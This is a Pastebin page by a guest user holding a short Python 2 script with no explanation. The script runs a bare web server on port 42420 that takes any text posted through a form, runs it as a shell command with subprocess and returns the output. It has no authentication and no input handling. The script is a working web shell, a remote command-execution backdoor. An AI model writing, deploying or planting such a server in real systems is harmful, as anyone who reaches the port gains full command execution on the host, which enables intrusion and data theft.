Advertisement
Guest User

Untitled

a guest
Dec 11th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
  2. import subprocess
  3. import string
  4. import urllib
  5.  
  6. class S(BaseHTTPRequestHandler):
  7. def _set_headers(self):
  8. self.send_response(200)
  9. self.send_header('Content-type', 'text/html')
  10. self.end_headers()
  11.  
  12. def _write_form(self, q):
  13. self.wfile.write('<form method="post"><textarea rows="2" cols="80" name="q" value="'+q+'"></textarea><br><br><input type="submit" value="do"></form>')
  14.  
  15. def do_GET(self):
  16. self._set_headers()
  17. self.wfile.write("<html><body><center>")
  18. self._write_form('')
  19. self.wfile.write("</center></body></html>")
  20.  
  21. def do_POST(self):
  22. self._set_headers()
  23.  
  24. content_length = int(self.headers['Content-Length'])
  25. post_data = self.rfile.read(content_length)
  26. cmd = string.replace(post_data, 'q=', '', 1)
  27. cmd = string.replace(cmd, '+', ' ')
  28. cmd = urllib.unquote(cmd).decode('utf8')
  29. out = subprocess.check_output(cmd, shell=True)
  30.  
  31. self.wfile.write("<html><body><center>")
  32. self._write_form(cmd)
  33. self.wfile.write("</center>")
  34. self.wfile.write(string.replace(out, '\n', '<br/>'))
  35. self.wfile.write("</body></html>")
  36.  
  37. if __name__ == "__main__":
  38. httpd = HTTPServer(('', 42420), S)
  39. httpd.serve_forever()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement